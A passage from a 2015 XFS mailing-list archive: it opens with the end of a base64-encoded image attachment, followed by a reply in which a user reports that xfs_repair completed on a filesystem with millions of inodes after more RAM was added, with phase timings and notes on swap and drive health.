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 gXODg4AyBRo/hy/s/E1tp7wSrY29ut8bnB2m6MIgIz3PDNjPejkja/8AXf8A4HqHPK9v67f5 P0Oth8UaPPfLZx3TGR5TCkhgkETyDOUWUrsZuDwGJ4PpU9jrun6lez2lpJLLLbs6SsIJAiMp 2spcrt3Z7ZzjnpzXB6VpUyaRpmhahP4mae2mjVraGyiWBWjbcHE5iA2ZUN/rNxzjk8V1Xh0P pmnapLdW9xGG1O5kAWB2ZlaU7WCgEkEY5A6UShFbf1t/X6gpye/9b/5F3UfEulaVcPBdTy+Z HH5soht5JvKT+85RSEHB5bHQ+lJfeJ9I0+VY57pmYxeefIhkmCR9ncopCL1+ZsDg+hrJjuX8 P+JNdmurC+mjvnint5LS1kn37YwhQ7QdpBXjdgfN164YlzNo2s61Pd6bqEy6ksc1uIbZpuRG EMTFMhCCOpIX5uvBqeVW+X3+X9diuZ3/AK+/+v0Na88V6LZXIt5Lt5JmgW4VLeCScmI5w42K crx16DjPUUtl4r0XUbm3gtLwym5BMEghkEUpAyQshXYxAzkA5GDxwa5zwnol/pOppFd2zq0W hW8BcKSgcO5KBuhIyOntUenabex+G/A0LWVwsltdI06GIgxDy5ASwx8vJHX1q3CF7X/rX/In nla/l+if6noFFFFYGoUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAF FFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQBWXT7VNTk1FYsXc kSwtJuPKKSQMZx1J7VZoooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA//9k= ----boundary_2697605_6856c8da-f8b4-4fed-a788-0e554605c015-- ----boundary_2697604_35a5784e-5e2c-46c0-8d1a-9098a747daff-- From mw@dermichi.com Wed Oct 28 12:31:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C403D7CBF for ; Wed, 28 Oct 2015 12:31:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 57D23AC001 for ; Wed, 28 Oct 2015 10:31:44 -0700 (PDT) X-ASG-Debug-ID: 1446053500-04cb6c7b86de3a0001-NocioJ Received: from firestarter.dermichi.com (firestarter.dermichi.com [194.177.153.153]) by cuda.sgi.com with ESMTP id 6cxdlNGpuYT5TRtT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 28 Oct 2015 10:31:41 -0700 (PDT) X-Barracuda-Envelope-From: mw@dermichi.com X-Barracuda-Apparent-Source-IP: 194.177.153.153 Received: from noclinksys.net4you.net ([194.177.153.180] helo=[127.0.0.1]) by firestarter.dermichi.com with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim) (envelope-from ) id 1ZrUZX-0001Y5-Rj for xfs@oss.sgi.com; Wed, 28 Oct 2015 18:31:39 +0100 Subject: Re: Speeding up xfs_repair on filesystem with millions of inodes To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Speeding up xfs_repair on filesystem with millions of inodes References: <562F699E.2050002@dermichi.com> <20151027193855.GM8773@dastard> <562FFFF7.4010908@dermichi.com> <20151028001744.GO19199@dastard> From: Michael Weissenbacher X-Enigmail-Draft-Status: N1010 Message-ID: <5631067A.4050306@dermichi.com> Date: Wed, 28 Oct 2015 18:31:38 +0100 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151028001744.GO19199@dastard> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: firestarter.dermichi.com[194.177.153.153] X-Barracuda-Start-Time: 1446053501 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23896 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave! Everything is in good shape again. This time xfs_repair finished without detecting any problems. So i suppose the only problem was that there wasn't enough RAM. ---snip--- XFS_REPAIR Summary Wed Oct 28 15:02:30 2015 Phase Start End Duration Phase 1: 10/27 23:19:34 10/27 23:19:34 Phase 2: 10/27 23:19:34 10/27 23:19:57 23 seconds Phase 3: 10/27 23:19:57 10/28 04:10:50 4 hours, 50 minutes, 53 seconds Phase 4: 10/28 04:10:50 10/28 09:03:00 4 hours, 52 minutes, 10 seconds Phase 5: 10/28 09:03:00 10/28 09:03:16 16 seconds Phase 6: 10/28 09:03:16 10/28 15:02:29 5 hours, 59 minutes, 13 seconds Phase 7: 10/28 15:02:29 10/28 15:02:29 Total run time: 15 hours, 42 minutes, 55 seconds ---snip--- On 28.10.2015 01:17, Dave Chinner wrote: > > Maybe you have a disk that is dying. Do your drives have TLER > enabled on them? > Thanks for the hint. These are all enterprise-grade Nearline-SAS drives (SEAGATE ST32000444SS) attached to a Dell PERC 6/i controller. I think it isn't even possible to turn TLER on or off on them. They should all be in good shape since the controller automatically does periodic patrol reads. On 28.10.2015 01:17, Dave Chinner wrote: > > If kswapd is doing all the work, then it's essentially got no memory > available. I would add significantly more swap space as well (e.g. > add swap files to the root filesystem - you can do this while repair > is running, too). If there's sufficient swap space, then repair > should use it fairly efficiently - it doesn't tend to thrash swap > because most of it's memory usage is for information that is only > accessed once per phase or is parked until it is needed in a later > phase so it doesn't need to be read from disk again... > Good to know. However, the system was never low on swap. It has 40GB swap available and never used more than 10GB during the repair (with 8GB RAM). On the second run, with 16GB RAM, the xfs_repair never used any swap at all. On 28.10.2015 01:17, Dave Chinner wrote: > > Defaults, but it's really only a guideline for cache sizing. If > repair needs more memory to store metadata it is validating (like > the directory structure) then it will consume as much as it needs. > Will keep that in mind. Thanks again for 